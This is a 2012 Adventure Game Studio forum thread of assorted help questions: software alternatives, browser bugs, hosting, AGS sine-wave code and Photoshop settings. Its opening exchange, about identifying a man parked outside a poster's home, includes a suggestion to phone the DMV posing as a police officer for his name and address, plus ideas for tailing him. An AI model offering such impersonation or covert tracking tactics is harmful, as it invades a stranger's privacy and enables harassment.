Is it possible to search for the owner of a car using their number plate (license plate, to our American cousins) or is that just a priviledge cops have?

There's a guy who has been stopping outside my front door, two or three times a day, every day, including Sundays, for the past 12 or so days.  He just parks up, and sits there with his door open and smoking a cigarette whilst listening to the radio.  Not ever-so-weird in itself.  But he just coughs and splutters and spits chunks of phlegm all over the pavement outside my door, and whenever I look out the window he seems to be staring at my front door.

I'm sure he's just on a fag-break, but why does he feel the need to spend his fag breaks HERE, of all the miles of parking spaces in the area, why MY front door?  It was funny at first, but now it's kind of creepy.

I could, you know, just ask him, but I'm one to avoid awkward conversations if possible, so I'm setting about doing some detective work.  Starting with his number plate.  I now know the exact make and model of his van and where it was produced, but that's it.

Do you have to be a copper to 'run a check' on a number plate?  It's not fair. If this was a movie, I'd know his name, address, and whether or not he has any previous convictions by now... I knew I should have been a copper :-(
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Post by: MJL on 05 Apr 2012, 15:42
You could get basic info about the history of the car using that "reg checker" app or text number (for about £4 a pop!) but no you will not be able to get a name/address without speaking to the police. More trouble than it's worth. Just put a couple of cones or a skip out there. It's legal and maybe he'll get the message and budge.

PS IF you really want to know "why", don't be a wuss and just go ask the guy :P
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Post by: Khris on 05 Apr 2012, 15:43
If you're bold, just call the DMV and pretend you're a cop. Just give them some random name and badge number; chances are they won't check it.
The other thing is, what are you going to do after you find out his name and address? I get why you're curious, but knowing his name isn't going to help you that much I guess.
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Post by: Anian on 05 Apr 2012, 15:45
I don't know if it would cause trouble if you come out and shot a photo of him and the car. The guy seems weird as is, so I don't know nay normal conversation would be an option. I don't even think he's trying to rob your place...or he's just a bad burglar.
Maybe a neighborhood watch report or find a local police patrol and ask for advice. They can check I think pretty quickly if you ask them nicely.

If you're bold, just call the DMV and pretend you're a cop. Just give them some random name and badge number; chances are they won't check it.
The other thing is, what are you going to do after you find out his name and address? I get why you're curious, but knowing his name isn't going to help you that much I guess.
Indeed, knowing the name won't help out much, but if you pretended to be a cop (which I'm kind of sure is a crime) to the DMV, then there's no stopping you from coming to the driver and talking about "an investigation"...again, you might get hurt doing that.
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Post by: Stupot on 05 Apr 2012, 16:02
Yeah, I was just thinking if I could get a name, it might be registered to the company he works for or something (It's brand spanking new, less than 4 months old).  I'm sure he just works around the corner and his boss doesn't like smoking or something legit like that.  It's just weird, and the more he comes, the more I wanna find out... Maybe I could get a DNA sample from his saliva on the floor outside my door, haha.
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Post by: bicilotti on 05 Apr 2012, 16:05
If you're bold, just call the DMV and pretend you're a cop. Just give them some random name and badge number; chances are they won't check it.
The other thing is, what are you going to do after you find out his name and address? I get why you're curious, but knowing his name isn't going to help you that much I guess.

I know a dude who knows a dude who passed some time in prison because he pretended he was a lawyer. Don't risk it, Stu ;)
m0ds advice seems pretty sensible, try it (and let us know!)
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Post by: Khris on 05 Apr 2012, 16:42
The other solution is to get a hazmat suit and a fake Geiger counter and scare the crap out of him :)
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Post by: Stupot on 05 Apr 2012, 16:50
The other solution is to get a hazmat suit and a fake Geiger counter and scare the crap out of him :)

I do have a Scream Ghostface mask... hmmmmm
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Post by: Atelier on 05 Apr 2012, 17:28
How long do the fag breaks last, and does he turn back the way he came after he's done? If so, you should totally tail him. If the streets aren't busy you can get a couple of mates to act as buffers; they turn off somewhere along the line, so he may only notice you after you've been following him for a while.

Another idea is to use his smoking to your advantage. Get a friend who smokes, get him to wait round the corner, then when the guy turns up again in his van, your friend can come round after you alert him, and ask for a light. Completely innocent icebreaker, then your friend can ask his questions making polite conversation. What work he does leading to where he works.
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Post by: Victor6 on 05 Apr 2012, 17:56
Either that, or walk up and ask for a cigarette, repeat every day, even if he says no (snout-scroungers are persistant). Give it 2 weeks, he'll get pissed about being tapped for smokes everyday and leave.

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Post by: Stupot on 06 Apr 2012, 11:00
He's usually there for 3-4 mins, but has been known to sit for a good hour or so. I don't have a car these days, otherwise i'd def be tempted to tail him.

I'm going home to my mums for the next few days so will have to continue my investigations after easter.  If i get back and the house has been broken into, at least ive got a lead, haha. XD
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Post by: Snarky on 16 Apr 2012, 08:28
Thanks Snarky!  ;D This pleases me, I just hope Cinebook will get more ASAP!

Just an update that Cinebook has now released (http://www.cinebook.co.uk/product_info.php?products_id=4067&osCsid=e9e3c030791dfb3d4dc7d568bc41c1e8) Running Scared, which is one of the better Tome & Janry albums:

(http://i.imgur.com/O59ba.jpg)

Hopefully part 2 of the story in Valley of the Exiles won't be too long. They've also announced Spirou in Moscow, and I'm crossing my fingers that they'll continue on to my favorite T&J album, the boringly titled Vito la déveine ("Vito the Unlucky"). I actually wrote them an email suggesting they rename it Spirou & Fantasio Sleep with the Fishes, which fits the mafia motif, the diving, and Spirou's "sleeping sickness," and for which the cover fits perfectly:

(http://i.imgur.com/iR1P9.jpg)

Anyway, the rate of release suggests Spirou isn't a big seller for Cinebook, so if you have any interest in the series and want to see more of it in English, please order!
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Post by: MJL on 18 Apr 2012, 23:07
/me smashes keyboard and swears a lot

Can someone please help me find a link to download MSN messenger that does not download it from the microsoft website?? Please. Or suggest one that I can use that will allow me to login with these details.

I'm on a new PC and yet a-f*****g-gain any attempt to visit a Microsoft webpage tells me

Quote
Server not found
     
 
       
          Firefox can't find the server at windows.microsoft.com.

  Check the address for typing errors such as
    ww.example.com instead of
    www.example.com
  If you are unable to load any pages, check your computer's network
    connection.
  If your computer or network is protected by a firewall or proxy, make sure
    that Firefox is permitted to access the Web.

WHY WHY WHY this has been happening to me for YEARS on any machine I try and use.

Any help appreciated.
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Post by: Hudders on 18 Apr 2012, 23:11
I use pidgin, (http://www.pidgin.im/) and I've also used Digsby before, (http://www.digsby.com). Both are very good and allow you to sign in with MSN credentials.
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Post by: MJL on 18 Apr 2012, 23:13
Thank yous!
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Post by: Eric on 18 Apr 2012, 23:23
I use pidgin, (http://www.pidgin.im/) and I've also used Digsby before, (http://www.digsby.com). Both are very good and allow you to sign in with MSN credentials.

I use Pidgin as well, and I find it's worked better for me than Digsby.
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Post by: Hudders on 18 Apr 2012, 23:25
I use pidgin, (http://www.pidgin.im/) and I've also used Digsby before, (http://www.digsby.com). Both are very good and allow you to sign in with MSN credentials.

I use Pidgin as well, and I find it's worked better for me than Digsby.

Yeah... I don't know. Digsby is nice but I had to move away from it when I started using Linux more. There are some things in Digsby I wish Pidgin did but for basic operations, they're pretty much the same.

I'm also enough of a nerd to have used Finch on occasion.
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Post by: selmiak on 20 Apr 2012, 02:15
I use pidgin too and it works good. Only filetransfer via MSN is not working. At all. So to ask a question in this thread: anyone got sending files via MSN via pidgin working? How?
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Post by: Ryan Timoothy on 21 Apr 2012, 02:04
Edited: Problem has been solved. Solution below.

Has anyone experienced this issue with Twitter on Firefox?

(http://www.bryvis.com/entertainment/other/agsf/twitter_issue_on_firefox.png)

It started several months ago and it's the only site that has this problem. I got tired of trying to figure it out months ago that I ended up downloading Chrome. I decided to move back to Firefox because I still enjoy it better.

The only time it doesn't do this is when I restart Firefox with all Add Ons Disabled. I've gone through and disabled every single add on manually, but it still only only works properly when it's in safe mode. I've reinstalled it twice. I've deleted everything that I had with it. Cookies, Cache, Bookmarks. Everything.

What the hell is wrong with it? I've done a virus scan with Avast! but it hasn't found anything. It's seriously getting me very angry. I want to reinstall windows, if it wasn't such a pain in the ass. Argh.


Edit: I actually thought about looking for the Firefox forum and signed up for an account. Looks like someone else has the same problem. I'm going to read the solutions offered to him and see if it'll help.

Edit2: Damn that's priceless. I discovered the issue is hardware related using their advice. I turned off: Use hardware acceleration when available.
Twitter works like a charm.  Sorry guys!
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Post by: bicilotti on 29 Apr 2012, 21:59
I am trying to recall the title of a sci-fi short story. I know that:

- the author is probably Philip K. Dick.
- the plot involves an old man taking a test; this is taken at regular intervals by the elderly and assesses whether they are still useful to society or a burden. In the letter case, they are 'terminated'

edit: found, Richard Matheson
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Post by: Tuomas on 04 May 2012, 18:48
Hey guys.

Any idea how to get an internet radio lag like 2-3 seconds?

I'm trying to watch a video (sports)
but the narrator is awful. So there's a free radio stream too, but it's 2-3 seconds ahead. Soo... if you know. Is this kind of thing even possible?

-Tuomas--
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Post by: selmiak on 04 May 2012, 22:39
VLC player lets you set the audio stream delay of movie files, perhaps it's possible for streams too?!
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Post by: InCreator on 05 May 2012, 05:47
E: nvm
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Post by: Stupot on 05 May 2012, 22:20
What was happening at 02:01 on 15 Jan 2012 for there to have been 559 members online?
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Post by: TomatoesInTheHead on 05 May 2012, 22:33
What was happening at 02:01 on 15 Jan 2012 for there to have been 559 members online?
(not only members, also guests)
Could it be related to the Bake Sale? This post (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=44670.msg605157#msg605157) is actually a bit too late to be the cause, but maybe the word was spread somewhere a day before?
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Post by: Stupot on 05 May 2012, 22:38
Oh of course. D'oh!  Makes perfect sense. Cheers TITH.
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Post by: Grim on 06 May 2012, 07:48
Hey guys, an idea hit me last night- what about a digital platform for horror games only, like a specialized shop for all (indie mostly)games horror-related?... A quick google search shows there is no such thing yet. Do you think it would take off, or would it be a massive flop?
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Post by: Calin Leafshade on 06 May 2012, 09:19
Too specialised I would say.

Theres no advantage to having a horror-only digital platform when a general one would work just as well.

Digital platforms have no limits so they dont have the same pulls at specialised shops which can only carry so much stock.
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Post by: cat on 06 May 2012, 09:27
It might work if you also offer books, DVDs and stuff. Games alone will not be enough.
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Post by: Anian on 07 May 2012, 10:23
I'm looking for free web hosting for a wordpress (it says PHP 5.2.4 or greater and MySQL 5.0 or greater are conditions). I'd basically need it for portfolio and for a good amount of experimenting for modifying themes (most are offering about 5gb of traffic, I'm assuming that's ok, especially if most of the traffic only I am doing by checking the site every half an hour (or minutes) to see if the stuff like style.css is working ok.

http://freehosting1.net/ has good list but I'm not sure how old is that site I'd like to ask from recent experience.

Sites like
http://www.ifastnet.com/
http://www.000webhost.com
awardspace etc.
I'm looking here and not google, because I'd like some personal opinions on traffic space.
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Post by: Ryan Timoothy on 07 May 2012, 20:30
Is there a website or an app that alerts you of specials or price drops on the Android marketplace?
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Post by: Calin Leafshade on 08 May 2012, 05:33
Anian: http://www.agser.me/

run by Peder.
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Post by: selmiak on 08 May 2012, 20:25
000webhost is not bad but one day we had an ad appearing out of nowhere on every page. It only advertised payed hosting with the 000webhost service but was annoying nonntheless. After ~2weeks it disappeared. I recommend bplaced.net though. The only 'disadvantage' is that you have to log into your command panel every 2 month, but this should be doable. ~99% uptimes, 2GB storage, unlimited traffic, 2 FTP accounts, lots of MySQL databases, up to date php, adfree, what do you want more?!
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Post by: Anian on 09 May 2012, 09:28
Anian: http://www.agser.me/

run by Peder.
Ahh, nice. I'll check it out.

000webhost is not bad but one day we had an ad appearing out of nowhere on every page. It only advertised payed hosting with the 000webhost service but was annoying nonntheless. After ~2weeks it disappeared. I recommend bplaced.net though. The only 'disadvantage' is that you have to log into your command panel every 2 month, but this should be doable. ~99% uptimes, 2GB storage, unlimited traffic, 2 FTP accounts, lots of MySQL databases, up to date php, adfree, what do you want more?!
Theoretically, a domain name.  :grin:  Just kidding. This sounds pretty good and the log in every 2 months is not really a disadvantage.

Thank you, both.
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Post by: selmiak on 09 May 2012, 20:03
.tk domains are for free. But I don't know if they show advertsing. Iirc there is a small adbar on your site then.
Or if it is okay, you can get a 3rd level domain like yourname.eu.tp for free. Or go with yourname.agser.me.
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Post by: Anian on 09 May 2012, 21:00
.tk domains are for free. But I don't know if they show advertsing. Iirc there is a small adbar on your site then.
Or if it is okay, you can get a 3rd level domain like yourname.eu.tp for free. Or go with yourname.agser.me.
I was just kidding, besides I tried setting up wordpress on bplaced and the site has "name.bplaced.net" type of address, that's fine enough for now.  :smiley:
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Post by: InCreator on 26 May 2012, 13:41
I was thinking how to tell exact time within 10 minute accuracy if I'm in the middle of nowhere and have a some sort of clock, but have no idea which way is which (no compass).
What I came up with is this:

Suppose it's a sunny day
I stick a pole into ground.
Use something - cord or sticks to measure shadow of the pole
Set clock to 12:00
After every 10 minutes I repeat measurement (12:10 on my clock) and if shadow is shorter than previous measurement, set clock to 12 again
The moment I don't have to reset, It's noon + around 10 minutes

Is it logical? Daylight saving can offset this by hour but generally, it should work?
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Post by: arj0n on 26 May 2012, 17:18
Or use the moon.
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Post by: InCreator on 26 May 2012, 17:50
Don't I need to know hemisphere I'm on and the directions of east and west to read the moon?
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Post by: FrankT on 26 May 2012, 21:59
Dangit... I just want to make an adventure game - but all the ones I've started have fallen through one way or another. Partly because I'm no good at writing stories or scripting, but mainly because before I've even gotten into it, some other great idea comes along and I end up abandoning the older one. I'm in development limbo! Now I've got a vague blur of an idea in my head right now, but I need to make it solid with a story. And a game structure. Any advice?!!
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Post by: Buckethead on 27 May 2012, 17:39
Work out the story from beginning to end. Write down the what puzzles you need to solve and which characters will be needed. Also work out the background of your characters. In short, write down as much information about your game as possible. If you get stuck, ask for help on the forums. People are always very helpfull around here.

After a while you'll have enough iformation about your idea that you can put together a list of things that need to be done for the game. Make this list as complete as you possibly can. When you work on the game you can now check off things you have completed. This way you get a clear view what still needs to be done. Also order things according to priority of you can.

Also simplify your idea to something you are more likely to complete.
Title: Re: Ask something - We can help.
Post by: FrankT on 27 May 2012, 18:14
Thanks for the advice! Come to think of it, I might need a proofreader for this. Anyone willing to proofread?
Title: Re: Ask something - We can help.
Post by: Stupot on 29 May 2012, 02:13
Thanks for the advice! Come to think of it, I might need a proofreader for this. Anyone willing to proofread?
I'll give it go :-)
Title: Re: Ask something - We can help.
Post by: Atelier on 31 May 2012, 21:55
I'm trying to remember which film this is... it's about some super-soldiers who were genetically engineered and then cryogenically frozen to keep them dormant, until they needed to be used to fight some Russian/Ukranian terrorist who had taken over a nuclear power station, who had this uber-supreme-super-soldier who single-handedly took down the super-soldier army. I also remember one of the super-soldiers was being reprogrammed into civilian life but he went into a frenzy in a café. Also it starts with the kidnapping of some diplomat's daughter by men in balaclavas. It's a pretty lame film but does anybody know it?
Title: Re: Ask something - We can help.
Post by: Stupot on 31 May 2012, 22:23
Universal Soldier Regeneration (http://en.wikipedia.org/wiki/Universal_Soldier:_Regeneration)
Quote
A group of terrorists led by Commander Topov (Zahary Baharov) kidnap the Russian prime minister's son and daughter and hold them hostage, demanding the release of their comrades within 72 hours. In addition, they have taken over the crippled Chernobyl Nuclear Power Plant and threaten to detonate it if their demands are not met.
Title: Re: Ask something - We can help.
Post by: Atelier on 31 May 2012, 22:26
That's the one thanks :)
Title: Re: Ask something - We can help.
Post by: Oliwerko on 02 Jun 2012, 22:52
Hi!

My friend found a phone last week and gave it to me today, because he couldn't get it to work. He had already reverted to factory settings. Apparently it's a HTC EVO 3D. And I can see how he couldn't get it to work. There is no slot for a SIM card, and I gather that that's typical for the US version. I live in Slovakia, so this is pretty new to me.

Is there any way to get this kind of thing to work in Europe?
Title: Re: Ask something - We can help.
Post by: Anian on 02 Jun 2012, 23:56
Hi!

My friend found a phone last week and gave it to me today, because he couldn't get it to work. He had already reverted to factory settings. Apparently it's a HTC EVO 3D. And I can see how he couldn't get it to work. There is no slot for a SIM card, and I gather that that's typical for the US version. I live in Slovakia, so this is pretty new to me.

Is there any way to get this kind of thing to work in Europe?
Like this http://www.htc.com/help/au/howto_iframe.aspx?id=88649&type=1&p_id=398 ?

Apparently the US version doesn't use a SIM card...because, you know, Americans :P The European version should have it, but the US one doesn't, it's the CDMA and GSM versions differnces.
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Post by: Oliwerko on 03 Jun 2012, 00:04
Yeah, I read now that there are US and EU versions. The US indeed cannot function in our gsm environment.

So the only thing left to do is to sell it. :/ Anybody interested?
Title: Re: Ask something - We can help.
Post by: Mati256 on 03 Jun 2012, 02:43
A while ago somebody posted a website where you could choose a color and the site would show you some colors that combined with it.
Do you know which site I'm talking about?
Thank you.
Title: Re: Ask something - We can help.
Post by: kconan on 04 Jun 2012, 08:18
  Does anyone know of a company that makes custom PC game boxes?
Title: Re: Ask something - We can help.
Post by: MJL on 11 Jun 2012, 07:32
If anyone web wise with html knowledge is able to help me get a "contact form" working (ie a text box and submit button) please get in touch! I haven't been able to get it to work - can't quite get my head around it. Thanks!
Title: Re: Ask something - We can help.
Post by: Anian on 11 Jun 2012, 09:16
A while ago somebody posted a website where you could choose a color and the site would show you some colors that combined with it.
Do you know which site I'm talking about?
Thank you.
I don't know what it is, but recently I found this page COLORlovers (http://www.colourlovers.com) they have some interesting stuff under the Tools section as well.


If anyone web wise with html knowledge is able to help me get a "contact form" working (ie a text box and submit button) please get in touch! I haven't been able to get it to work - can't quite get my head around it. Thanks!
Did you try something like this?
http://www.freecontactform.com/html_form.php
Just put the first part into your html page, modify the stuff you need, mainly the width and other design choices.
The other part you just need to save as a php page, also basically copy paste and of course change the mail address (it's noted where you change it in the code).
I mainly use wordpress forms, but I can try this out on my server if you want. This is probably a good solution, though if you start getting spam a captcha should be put in as well, but cross that bridge if you get there.
EDIT: I've checked it, it works ok, just remember to change the mail address at the beginning of the php part plus this is a very strict form (first and last name have to be without numbers and have to start with a capital letter)
Title: Re: Ask something - We can help.
Post by: MJL on 11 Jun 2012, 09:44
Thanks Anian, I'll give that a go a bit later on today!
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 11 Jun 2012, 11:14
A while ago somebody posted a website where you could choose a color and the site would show you some colors that combined with it.
Do you know which site I'm talking about?
Thank you.

For all your colour scheme needs i suggest kuler.adobe.com
Title: Re: Ask something - We can help.
Post by: Frito Master on 12 Jun 2012, 09:06
Nice find calin. Bookmark'd
Title: Re: Ask something - We can help.
Post by: Mati256 on 12 Jun 2012, 23:54
Thank you Calin! That's the one!
Title: Re: Ask something - We can help.
Post by: Frito Master on 13 Jun 2012, 05:48
Edit: Whoops didn't see this wasn't in there.

What are some of the gameplay factors that make a adventure game good?
Title: Re: Ask something - We can help.
Post by: Andail on 13 Jun 2012, 10:46
Psst, Frito Master:
-->http://www.adventuregamestudio.co.uk/yabb/index.php?board=11.0

Let's keep this at least relatively serious :)
Title: Re: Ask something - We can help.
Post by: Tuomas on 07 Jul 2012, 16:01
Hey,

I don't suppose any of you know a good way of finding out (quickly) which of my audio files are corrupt and which ones not? It seems, that when my computer broke down, not only did I lose 30% of my files, but thatthe ones I had backupped seem to be corrupted in one way or another now that I transferred them from my external HD to my new laptop. What happens is that, well, Winamp has a lot of difficulties playing some tracks, all being just plain mp3. The sound it makes is like a cd jumping from one place to another, and playing the same song from random positions. At the same time some songs just don't play.

I'd just like to make some inventory, fixing them is not necessary, although might be nice. After all, I've got everything on CDs, but ripping them on my laptop is such a bore.

Anyway, thanks.
Title: Re: Ask something - We can help.
Post by: Frito Master on 07 Jul 2012, 16:05
You could open them all in vlc player and the ones that don't work hit skip and mark it down.

Other then that if it still plays the sound but its garbled I don't think there would be a program to detect that.
Title: Re: Ask something - We can help.
Post by: BCJames on 12 Jul 2012, 13:14
Alright, I'm new. Which may or may not be obvious to forum regulars. So I'm am trying to get a handle on the rules of the board, and I realize I will eventually figure most stuff out by reading and paying attention, but that takes too long. The FAQ's are blank, so is there a place for me to read about the forum's rules regarding avatars and signatures and stuff like that so I have a better understanding before I do something and get blasted for it?

TIA!
Title: Re: Ask something - We can help.
Post by: Tuomas on 12 Jul 2012, 20:58
I suppose all you'd need is to go to the profile editor, where it tells you the maximum sizes and such of signatures and/or avatars. Other than that I don't think we can require more than common sense in the "content" of whatever you choose as your signature or avatar. About a special place for those rules, I can't help you, sry.
Title: Re: Ask something - We can help.
Post by: Frito Master on 12 Jul 2012, 21:59
Alright, I'm new. Which may or may not be obvious to forum regulars. So I'm am trying to get a handle on the rules of the board, and I realize I will eventually figure most stuff out by reading and paying attention, but that takes too long. The FAQ's are blank, so is there a place for me to read about the forum's rules regarding avatars and signatures and stuff like that so I have a better understanding before I do something and get blasted for it?

TIA!

Not sure. But size don't matter(TeeHee) because it will auto resize anything to big, Sig wise if your image or text is to big it will crop it.
I'd avoid porn or racist stuff though.
Title: Re: Ask something - We can help.
Post by: InCreator on 13 Jul 2012, 09:19
math question time!

How do I make a variable that has oscillating value? I mean, going up and down in some range.
I want to use it to offset sprite on y-axis, making it - say - float like a boat (up and down) in the range of 10 pixels.

I can easily do this the "hard way", but I imagine it can be done with sin function, using only a code line or two.
But three math teachers I had - none of them managed to explain understandably what sinusoid does.

This is where I got, thanks to wikipedia

y += 10*sin(time)
where time is abstract value I increase over CPU cycles. But it doesn't return to starting position and feels like a broken loop :(

Any help with this? If possible, also how to speed up or slow it down?

Title: Re: Ask something - We can help.
Post by: ThreeOhFour on 13 Jul 2012, 09:49
I'd be interested to know this too. My familiarity with the sin function ends with what Leafshade taught me one day, where you can do that sort of thing like this:

Code: Adventure Game Studio
  1. float yval = 100.0;
  2. int objecty;
  3. float sinner = 1.0;
  4.  
  5. function repeatedly_execute_always()
  6. {
  7.   yval = Maths.Sin(sinner)+yval;
  8.   objecty = FloatToInt(yval, eRoundNearest);
  9.   object[2].Y = objecty;
  10.   sinner++;
  11. }
  12.  

But he probably wrote it more elegantly than this. This might be a decent (if somewhat awkward) starting point, though.

Edit: remembered what the hell a sine wave actually looked like and realized I had 5 lines of unneeded code in there :P
Title: Re: Ask something - We can help.
Post by: InCreator on 13 Jul 2012, 10:11
I think I got it!
Pseudocode:

y += 10*sin(.2*step);

Where step increases by 30 per second (my frame rate) or 1 per cycle, and 0.2 controls speed.
Loop breaking problem happened because I didn't want to overflow step value and reset it at some point.
But resetting to 0 at some astronomical number such as 2592000 (time until 1 day has passed) basically eliminates broken loop, because nobody plays a game 24 hours straight...
and even if so, a sprite making a tiny jump once a day isn't even noticeable.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 13 Jul 2012, 10:36
sine always returns a value between -1 and 1 like this:
Link (https://www.google.co.uk/webhp?sourceid=chrome-instant&ie=UTF-8#hl=en&safe=off&output=search&sclient=psy-ab&q=y%20%3D%20sin(x)&oq=&gs_l=&pbx=1&fp=d55c834638869cc9&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&biw=1920&bih=979)

more generally and in terms of AGS you can get an oscillation like this:

Code: Adventure Game Studio
  1. float step;
  2.  
  3. function repex()
  4. {
  5.     float osc = A * Maths.Sin(F * step);
  6.     step += 360.0 / IntToFloat(Game.GetGameSpeed());
  7.     if (step > 360.0) step -= 360.0;
  8. }
  9.  
  10.  
 

Untested but that should give you an oscillating value with an amp (A) and freq (F)
Title: Re: Ask something - We can help.
Post by: selmiak on 16 Jul 2012, 15:17
when pixeling in Photoshop, how do you set the erasor tool to 1px by 1px 100% opaque?
I tried making a custom brush and even that erases only with like 60% opacity :P
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on 16 Jul 2012, 15:19
Size 1, Mode Pencil (this one is important), Opacity and Flow 100%. This works on any new Photoshop, tested in CS4 and CS5.
Title: Re: Ask something - We can help.
Post by: selmiak on 16 Jul 2012, 15:23
how do you set the erasor tool to the pencil brush? How is the pencil brush set called? I only have a square brush set that comes close to the pencil brushes and that also erases with some low opacity left and I have to double click to 100% erase a pixel.

btw, by now I always use the selection tool in a 1x1 px size to erase pixels, I figured there might be a better way.
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on 16 Jul 2012, 15:26
(http://i.imgur.com/npF3E.png)

If that isn't there, you're probably using an outdated Photoshop version in which case I can't help you because I updated a LONG time ago! :)
Title: Re: Ask something - We can help.
Post by: selmiak on 16 Jul 2012, 16:50
wohah, of course it is there, dkh, I love you <3 :D
Title: Re: Ask something - We can help.
Post by: Nikolas on 16 Jul 2012, 18:22
So,

I'm trying really hard to stay 100% legal! In all my music software this is possible, since I'm a pro in music.

But for images and video I don't really want to spend the kind of money that Adobe wants me to (bloody expensive stuff, for someone who is not a pro in that industry).

So... thus far, I've found the following solutions:

Instead of _____________ I'm using : ____________

Word: Open Office (did my PhD Thesis there and by all means it worked! ;D)
Photoshop: GIMP
Corel: Inkscape
Paint: Ultimate Paint (found it from here actually! Looong ago and love it! For small stuff it's awesome)
but I'm really having trouble with
Premier (Adobe) and After Effects: ?!??!!??!?!

So what could I use to create videos that is freeware and/or open source? Blender is for 3d, so I'm not interested in that, as far as I know...

Ideas, please?
Title: Re: Ask something - We can help.
Post by: Nikolas on 16 Jul 2012, 19:14
Got my reply from facebook, and I'll research and hopefully update. Any comments are still most welcome:

" Kino, Avidemux, Cinelerra or VirtualDub."
Title: Re: Ask something - We can help.
Post by: selmiak on 17 Jul 2012, 12:05
avidemux, virtualdub (and vdub mod) and kino are mostly used for cutting video, encoding a video to another codec (e.g. mp4 to avi), editing another audio layer to a video or basic video effects (fade in, blurring out a TV station logo). I prefer avidemux for these tasks, but really advanced video editing with mindblowing effects is more a thing of after effects (or maybe cinelerra, but I haven't tried it... yet).

some more software you'd like to try
lightworks - http://www.lwks.com/
Wax - http://www.debugmode.com/wax/
cinefx - http://sourceforge.net/projects/cinefx/
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on 19 Jul 2012, 22:46
What is "Geronimo!" ? :)
EDIT: Whoops sorry, nevermind, found this out.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on 02 Aug 2012, 19:23
I remember year ago there was thread about correct english lanuage, but it's no longer active, so I thought I'd ask here.

There's something not really important perhaps, but still bugs me.
What would be correct way to name a program function that returns number of things - is it GetItemCount or GetItemsCount?
Same about naming a thing that is related to multiple objects: ManagedObjectPool or ManagedObjectsPool?
Title: Re: Ask something - We can help.
Post by: Oliwerko on 02 Aug 2012, 19:59
As far as I know, singular has to be used because the first word (i.e. item/object) is a convert from a noun to an adjective and thus has to be singular.
Title: Re: Ask something - We can help.
Post by: selmiak on 03 Aug 2012, 00:10
could also be a definition thing. GetItemCount when you are going through the inventory and add item to item. GetItemsCount when the player has 15 coins and you count the number of coins, so, many items that are actually the same item. Or maybe I'm talking bullcrap here :D
For the latter plural sounds better as pool already implies there are many in there.
Title: Re: Ask something - We can help.
Post by: Gilbert on 03 Aug 2012, 02:31
Also, you may include the s as the English text could be "Get Item's Count" or "Get Items' Count", so I think both spellings of the function, with or without the s, are grammatically correct.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on 03 Aug 2012, 08:13
Okay, I see. Though I hoped there would be one correct option, so I wouldn't bother to make a choice myself :).
Title: Re: Ask something - We can help.
Post by: nihilyst on 03 Aug 2012, 19:05
Two days ago, from one day to to another, my Google Chrome started to have a problem with running any sorts of flash streams (audio and video). For example, when I start a youtube video, there's the image, but no sound, and after exactly 11 seconds, the image freezes. When I jump in the video's timeline, the video starts again (still without sound), and, after 11 seconds, passes out again. Audio streams like built-in mp3 flash players on webpages or services like soundcloud etc. don't work at all. Funny thing is that I didn't change anything at all, no new programs, no deinstallations, hell, I didn't even restart my computer. It worked one evening, I went to bed, and the next day, it did this.

Things I've done so far:
- Tried it in Firefox -> everything works, but as I want to use Chrome, that doesn't help me much
- Fiddled with the Flash player's "hardware acceleration" options -> didn't do shit
- Rebooted -> nope
- Reinstalled the Adobe flash player plugin -> it seems that Chrome has it's own built-in player, since the deinstallation didn't affect the browser at all (unlike to Firefox which then complained about not having the needed plugin installed)
- Reinstalled Chrome -> didn't work

Is anyone else encounting such problems? Might someone have a solution for this problem? Thanks :D

EDIT: Solved. I just deactivated the built-in flash plugin. Seems that was the little bastard.
Title: Re: Ask something - We can help.
Post by: KodiakBehr on 04 Aug 2012, 21:44
Okay, when playing Cart Life, I noticed that the distant background was always fixed in position while the foreground buildings, etc, moved with the character.  How the heck did he do that?
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on 04 Aug 2012, 22:06
Okay, when playing Cart Life, I noticed that the distant background was always fixed in position while the foreground buildings, etc, moved with the character.  How the heck did he do that?
Dunno how Cart Life's author did that, but there are two (relatively) simple options.
1) compose background of room objects and always update "distant" object's coordinates so that it is placed at same position relative to viewport.
2) draw on background surface.
Depending on your game it might be optimal to choose either first or second. Or combine both.
By the way, I find this question belongs to Advanced Technical forum.
Also check Parallax Scrolling module, I think it allows to do what you ask about a bit easier: http://www.adventuregamestudio.co.uk/yabb/index.php?topic=33142.0
Title: Re: Ask something - We can help.
Post by: Nikolas on 05 Aug 2012, 11:51
first of all thanks for the previous replies about video software.

Another question, which perhaps one can reply...

Is anyone experienced with kindle and the format(s) it's using? Anyone knows a lot (or enough) about EPUB or AZW or KF8 or MOBI?

If so let me know and we can take this privately (this is for a commercial project, so I can't say anything else in public, sorry)...
Title: Re: Ask something - We can help.
Post by: Anian on 05 Aug 2012, 22:21
first of all thanks for the previous replies about video software.

Another question, which perhaps one can reply...

Is anyone experienced with kindle and the format(s) it's using? Anyone knows a lot (or enough) about EPUB or AZW or KF8 or MOBI?

If so let me know and we can take this privately (this is for a commercial project, so I can't say anything else in public, sorry)...
Well azw is amazon cloud format, so that would be it, mobi and epub do quite well as far as I've seen, thing is you'd want something that transfers well to other formats, but Kindle basically reads everything, just check the meta data type stuff like menus and page numbers etc. stay well ordered. As long as you have a pdf and maybe one other format, people can transfer it I think.
Cradle is my software for organizing and uploading books to Kindle, it can also transfer between almost all formats, try some things and you'll see the differences between
http://www.freewaregenius.com/the-big-list-of-free-kindle-tools/

And that's about all I can say about that.
Title: Re: Ask something - We can help.
Post by: Nikolas on 05 Aug 2012, 22:36
I would have no problem with a normal PDF, but I think that it doesn't support DRM (and I need that currently), so I'm forced to look at other formats, plus I think that amazon itself prefers KF8 over MOBI or EPUB (sadly so)...

Thanks anian for the reply
Title: Re: Ask something - We can help.
Post by: Mati256 on 06 Aug 2012, 23:49
I'm not a native English speaker and have been always confused with the expression "He was (something)... or was he?"
Can somebody explain this?
Thank you.
Title: Re: Ask something - We can help.
Post by: KodiakBehr on 07 Aug 2012, 03:21
While this is acceptable in English, it is considered poor structure, grammatically.  The second clause states that there is exists doubt about the definitive statement of the first clause, implying that the first clause was not definitive at all.

For example, "He was a fish....or was he?"

Means there exists doubt as to whether or not he was a fish.
Title: Re: Ask something - We can help.
Post by: Oliwerko on 07 Aug 2012, 09:46
